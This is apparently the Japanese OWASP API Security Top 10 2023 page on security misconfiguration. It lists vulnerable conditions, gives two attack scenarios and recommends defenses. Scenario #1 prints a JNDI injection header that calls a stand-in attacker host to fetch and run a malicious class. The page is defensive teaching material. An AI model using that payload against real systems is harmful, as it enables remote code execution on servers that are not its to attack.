API8:2023 セキュリティの設定ミス (Security Misconfiguration)

その API は脆弱か？

API は以下のような場合に脆弱となる可能性があります。

  • API スタックのいずれかの部分で適切なセキュリティ堅牢化が行われていない場合や、クラウドサービスで不適切に設定された権限がある場合

  • 最新のセキュリティパッチが適用されていない場合や、システムが古い場合

  • 不要な機能が有効である場合 (HTTP verb、ログ機能など)

  • HTTP サーバーチェーン内のサーバーが受信したリクエストを処理する方法に齟齬がある場合

  • Transport Layer Security (TLS) がない場合

  • セキュリティディレクティブやキャッシュコントロールディレクティブがクライアントに送信されない場合

  • Cross-Origin Resource Sharing (CORS) ポリシーがない場合や適切に設定されていない場合

  • エラーメッセージにスタックトレースが含まれている場合や、他の機密情報を公開している場合

攻撃シナリオの例

シナリオ #1

ある API バックエンドサーバーは一般的なサードパーティのオープンソースログ記録ユーティリティによって書き込まれたアクセスログを維持します。これはプレースフォルダ拡張と JNDI (Java Naming and Directory Interface) ルックアップをサポートしており、デフォルトで有効になっています。 各リクエストに対して、新しいエントリが次のパターン <method> <api_version>/<path> - <status_code> でログファイルに書き込まれます。

悪意のあるアクターが以下の API リクエストを発行し、それがアクセスログファイルに書き込まれます。

GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

ログ記録ユーティリティの安全でないデフォルト設定と寛容なネットワークアウトバウンドポリシーにより、アクセスログに当該エントリを書き込むために、X-Api-Version リクエストヘッダの値を展開して、このログ記録ユーティリティは攻撃者のリモートコントロールサーバーから Malicious.class を取得して実行するでしょう。

シナリオ #2

あるソーシャルネットワークウェブサイトではユーザーがプライベートな会話を続けることができる「ダイレクトメッセージ」機能を提供しています。 特定の会話の新しいメッセージを取得するために、ウェブサイトは以下の API リクエストを発行します (ユーザーによる操作は必要ありません) 。

GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA

この API レスポンスには Cache-Control HTTP レスポンスヘッダが含まれていないため、プライベートな会話は最終的にウェブブラウザにキャッシュされ、悪意のあるアクターはファイルシステム内のブラウザキャッシュファイルからその会話を取得できます。

防止方法

API ライフサイクルには以下を含めます。

  • 適切にロックダウンした環境を迅速かつ容易なデプロイメントにつながる反復可能な堅牢化プロセス

  • API スタック全体の設定をレビューして更新するタスク。レビューにはオーケストレーションファイル、API コンポーネント、クラウドサービス (S3 バケットのパーミッションなど) を含めます。

  • すべての環境における構成と設定の有効性を継続的に評価する自動化されたプロセス

さらに

  • クライアントから API サーバーおよびあらゆるダウンストリームコンポーネントおよびアップストリームコンポーネントへのすべての API 通信は、内部 API であるか外部公開 API であるかに関わらず、暗号化された通信チャネル (TLS) で行うようにします。

  • 各 API にアクセスできる HTTP verb を特定します。それ以外の HTTP verb (HEAD など) はすべて無効にします。

  • ブラウザベースのクライアント (ウェブアプリのフロントエンドなど) からアクセスされることが予想される API は少なくとも以下のことを行う必要があります。

    • 適切な Cross-Origin Resource Sharing (CORS) ポリシーを実装します

    • 適用可能なセキュリティヘッダを含めます

  • 受信するコンテンツタイプやデータフォーマットをビジネス要件や機能要件を満たすものに制限します。

  • HTTP サーバーチェーンのすべてのサーバー (ロードバランサ、リバースプロキシ、フォワードプロキシ、バックエンドサーバなど) が受信リクエストを均一な方法で処理して、非同期問題を回避するようにします。

  • 適用可能であれば、エラーレスポンスを含むすべての API レスポンスペイロードスキーマを定義して適用し、例外トレースやその他の価値ある情報が攻撃者に送り返されることを防ぎます。

参考資料

OWASP

その他

PreviousAPI7:2023 サーバーサイドリクエストフォージェリ (Server Side Request Forgery)NextAPI9:2023 不適切なインベントリ管理 (Improper Inventory Management)

Last updated